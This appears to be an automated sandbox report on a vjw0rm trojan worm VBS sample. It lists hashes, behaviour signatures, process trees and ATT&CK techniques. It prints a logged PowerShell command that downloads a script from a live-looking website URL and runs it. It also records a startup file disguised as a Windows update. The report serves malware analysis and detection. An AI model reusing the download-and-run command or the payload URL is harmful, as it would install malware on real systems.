vjw0rm | 8f47c6601f5a5bdaa0a35ae18b93451bbfc674219adb8e896e25085f326dd32f

General

Target

NUF77882993883JJS01.vbs
Size

15KB
MD5

6adbdc4f8416b3002c17f67f6fc68471
SHA1

23b7fbbe29a977a9b6f0b7739daa81901b5c5508
SHA256

8f47c6601f5a5bdaa0a35ae18b93451bbfc674219adb8e896e25085f326dd32f
SHA512

d2caa17b0ff821a1e30d038c33c8c3bfd6aff49061e758697f47b2e063b276f25b8daa4916d4b653fefaa78632a8e6a29f43a42d4e244a795e1945647a5fad17

Score

10^/10

vjw0rm trojan worm

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://sylvaniaindianrestaurant.com.au/wp-includes/FR7501.txt

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

8 908 powershell.exe
13 2908 powershell.exe

flow	pid	process
8	908	powershell.exe
13	2908	powershell.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows10DecemberUpdate.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

908 powershell.exe
908 powershell.exe
908 powershell.exe
2908 powershell.exe
2908 powershell.exe
2908 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 908 powershell.exe
Token: SeDebugPrivilege 2908 powershell.exe

pid	process
908	powershell.exe
908	powershell.exe
908	powershell.exe
2908	powershell.exe
2908	powershell.exe
2908	powershell.exe

description	pid	process
Token: SeDebugPrivilege	908	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3728 wrote to memory of 908	3728	WScript.exe	powershell.exe
PID 3728 wrote to memory of 908	3728	WScript.exe	powershell.exe
PID 908 wrote to memory of 2908	908	powershell.exe	powershell.exe
PID 908 wrote to memory of 2908	908	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NUF77882993883JJS01.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient]$WEB=New-Object System.Net.WebClient;$WEB.DownloadFile('http://sylvaniaindianrestaurant.com.au/wp-includes/FR7501.txt','C:\Users\Public\FR7501.PS1');PowerShell -File C:\Users\Public\FR7501.PS1
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File C:\Users\Public\FR7501.PS1
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\FR7501.PS1
MD5
5480fceef4e5290938cb0a23955358df

SHA1
891c237730a39b36bd443e485d3493f5f7ff68c5

SHA256
d9cfdea62d4a3acc5ec47cfc0349002af129add61611a0810b73394bc7ea3020

SHA512
3cf3bef1f0d02ba68d5656e842a58b001aa4ba7b67ab1e21d93b8f2efa604283c58224bd8f8a208b09ab14e1443f78e4da7dbbbd1f1edfaa60316ae1056be392

Download Submit
memory/908-114-0x0000000000000000-mapping.dmp

Download
memory/908-119-0x00000160C3760000-0x00000160C3761000-memory.dmp

Filesize
4KB

Download
memory/908-122-0x00000160DBDC0000-0x00000160DBDC1000-memory.dmp

Filesize
4KB

Download
memory/908-125-0x00000160DBBB0000-0x00000160DBBB2000-memory.dmp

Filesize
8KB

Download
memory/908-127-0x00000160DBBB3000-0x00000160DBBB5000-memory.dmp

Filesize
8KB

Download
memory/908-134-0x00000160DBBB6000-0x00000160DBBB8000-memory.dmp

Filesize
8KB

Download
memory/2908-129-0x0000000000000000-mapping.dmp

Download
memory/2908-135-0x0000025ABA5C0000-0x0000025ABA5C2000-memory.dmp

Filesize
8KB

Download
memory/2908-136-0x0000025ABA5C3000-0x0000025ABA5C5000-memory.dmp

Filesize
8KB

Download
memory/2908-178-0x0000025ABA5C6000-0x0000025ABA5C8000-memory.dmp

Filesize
8KB

Download

Analysis

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